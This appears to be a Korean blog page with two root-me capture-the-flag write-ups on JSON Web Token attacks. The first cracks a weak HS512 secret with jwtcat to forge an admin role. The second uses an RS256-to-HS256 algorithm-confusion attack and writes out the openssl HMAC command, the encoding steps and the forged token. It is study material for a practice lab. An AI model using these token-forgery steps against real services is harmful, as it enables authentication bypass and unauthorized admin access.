반응형

JSON Web Token(JWT) 관련 마지막 문제입니다. 

이전에 작성했던 JWT - Public Key 보다 난이도가 낮은데 앞 문제부터 포스팅해버렸네요.

어쨌든 이번에는 Weak Secret 문제입니다.

 

문제에 접속해보면 위와 같은 메시지가 출력되고 있습니다. 

간단한 게임을 해보자며(쏘우 같네..ㅎ) 저희가 super secret admin section에 접근 못한다에 배팅을 걸었네요.

그러고 나서는 또 친절하게 token을 이용해서 /admin에 접속하면 된다며 힌트를 주고 있습니다.

 

힌트에 나온 대로 /token에 접근해보니 jwt 값을 얻을 수 있습니다.

 

admin section에 획득한 jwt 값을 이용해서 접근해보니,, 인증 값이 안 맞다며 놀리고 있네요.

 

우선, 획득한 jwt 값을 디코딩해보았습니다. 알고리즘은 HS512를 사용하고 있고, Payload 상의 role(권한)이 guest 권한이라 admin section 접근 거부당한 것을 알 수 있습니다.

 

role(권한)을 admin으로 변조하려면 secret key 값을 알아내야 합니다.

Key cracking 툴은 여러 종류가 있기 때문에 본인의 취향에 맞게 선택하시면 될 것 같네요.

John the Ripper, PyJWT, jwtcat 등을 사용하시면 됩니다.

 

저는 jwtcat 툴을 사용했습니다. jwtcat 툴을 설치하는 과정입니다.

$ git clone https://github.com/AresS31/jwtcat

$ cd jwtcat

$ pip3 install -r requirements.txt

 

pip3 install -r requirements.txt << 해당 명령어가 실행이 안되면 아래 명령어를 순서대로 실행 후 다시 진행하세요.

$ sudo apt-get update

$ sudo apt-get install python3-pip

 

jwtcat을 설치했으면 key Cracking 과정만 남았습니다.

$ python3 jwtcat.py -t TOKEN -w WORDLIST

 

TOKEN에 획득한 jwt 토큰 값을 입력하고 WORDLIST에 패스워드 사전 경로를 입력해 주시면 됩니다.

wordlist는 crunch, cupp, 워드하운드, BruteScrape 등으로 직접 만드셔도 되고 웹 상에 업로드된 리스트를 사용하셔도 무방합니다. 저는 구글링으로 기존에 만들어져 있는 password list를 다운로드하여 사용했습니다.

(용량이 너무 커서 첨부를 못하네요...ㅜㅜ)

 

아무튼 jwtcat를 실행하시면 크랙된 Secret key 획득에 성공할 수 있습니다.

 

획득한 secret key를 이용해서 변조한 페이로드를 서명하시면 됩니다.

Payload의 role을 admin으로 바꾸고, Signature 부분에 획득한 secret key(lol)을 입력해주면 jwt 포맷으로 토큰 값이 나옵니다. 

 

이것을 다시 admin section에 접속할 때, Header의 Authorization 부분에 삽입해주면!~

admin 권한으로 인식되어 flag 값을 확인하실 수 있습니다.

 


※ 참고자료

- https://github.com/AresS31/jwtcat

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token(JWT) - Public key  (0) 2020.03.05
[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12
반응형

JWT(Json Web Token) - Public Key 문제를 풀어보도록 하겠습니다.

JWT에 대한 아주 기초적인 설명은 이전 포스트에서 언급했기 때문에 넘어가도록 하겠습니다.

2019/12/20 - [Study/Wargame] - [root-me] JSON Web Token (JWT) - Introduction

 

이번 문제는 이전 포스트에서 얘기한 JWT Attack 케이스 중 CASE3. algorithm 변조(RS256 to HS256)에 해당하는 문제였습니다.
HS256 알고리즘은 비밀키(Secret Key)를 사용하여 토큰의 Header와 Payload를 서명하고 인증하는 반면, RS256 알고리즘은 개인키(Private Key)를 사용해 서명하고, 이를 검증하기 위해 공개키(Public Key)를 사용합니다.

만약, 서명 알고리즘을 RS256에서 HS256으로 변경할 경우, 인증 서버에서는 공개키(Public Key)를 비밀키(Secret Key)로 사용하고 HS256 알고리즘을 사용해 서명을 확인합니다. 이러한 경우 공격자는 공개되어 있는 공개키(Public Key)를 얻어 토큰을 서명하고 HS256 알고리즘으로 서명을 검증해 JWT Attack이 이루어지는 것입니다.

 

문제를 풀어보도록 하겠습니다.

문제에 접속해보면 아무것도 없는 페이지가 출력되고 있습니다. 

하지만, 문제 설명(첫번째 사진)에 보면 대략적인 설명이 나와있습니다.

/key, /auth, /admin 이렇게 3가지의 end point가 있고, 이 문제의 목표는 admin section에 접근하는 것입니다.

 

순서대로 end point에 접근해보면서 정보를 모아보았습니다.

우선, /key 페이지에 접근하면 공개키(Public Key)를 쉽게 얻을 수 있습니다.

 

그다음엔 /auth 페이지에 POST 메소드로 접근해보았습니다. 메시지에 username 파라미터가 필요하다고 합니다.

 

username=admin 이라는 값을 삽입한 후 다시 한번 접근해보았습니다.

그렇지만, admin이 아니라는 Error 메시지만 출력되네요.

 

이번에는 username=guest 값을 삽입해보았습니다.

JWT 토큰 값을 얻었습니다~!

 

JWT 값을 BASE64 디코딩해보니 Header에 서명 알고리즘이 RS256, Payload에 username이 guest 임을 확인할 수 있습니다.

https://jwt.io/ << JWT 토큰 값 인코딩/디코딩 사이트

 

공격을 위해 Header의 alg 값을 HS256으로 변경하고 Payload를 우리가 원하는 값, 즉 admin으로 변경하였습니다.

더보기

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0

 

이번에는 누락된 검증 값을 얻는 과정입니다. 서명에 사용할 공개키(Public Key)가 필요한데, 해당 문제에서는 /key 페이지에서 확인할 수 있습니다. 실제 환경에서는 서버의 TLS 인증서를 이용할 수도 있다고 합니다.

 

/key 페이지에서 획득한 공개키(Public Key)를 ASCII hex 값으로 인코딩합니다.

더보기

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

ASCII hex 값으로 인코딩하는 이유는 Bytes를 사용자가 제어할 수 있을 뿐만 아니라 명령어 입력 시 안전하게 처리할 수 있기 때문이라고 합니다.

 

공개키(Public Key)를 HS256 알고리즘을 사용해서 서명합니다.

더보기

echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

위의 명령어 입력 시 2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169 라는 결과를 얻었습니다.

 

위의 명령어는 획득한 HMAC 서명 값(2ae~)이 ASCII hex 값인데 이를 JWT 포맷으로 변경해주는 작업입니다.

더보기

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169')).replace('=','')\")"

명령어 실행 시 서명 값 KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk 를 얻을 수 있습니다.

 

이제 완벽한 JWT 값이 만들어졌으니 인증 값을 전송해보도록 하겠습니다.

/admin 페이지에 접근해보니 [Authorization: Bearer JWT]  형식으로 인증하라고 쓰여있습니다.

 

헤더 값에 생성한 JWT 값을 추가하여 서버로 전송합니다.

jwt 값을 이용해 admin 권한으로 인증되어 Flag 값을 얻을 수 있습니다!

더보기

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk


※ 참고자료

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Hacking%20JSON%20Web%20Token%20(JWT)%20-%20Rudra%20Pratap.pdf 

- https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/

- https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token (JWT) - Weak secret  (0) 2020.03.06
[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12
[root-me] PHP - preg_replace()  (0) 2020.01.08

+ Recent posts

반응형
반응형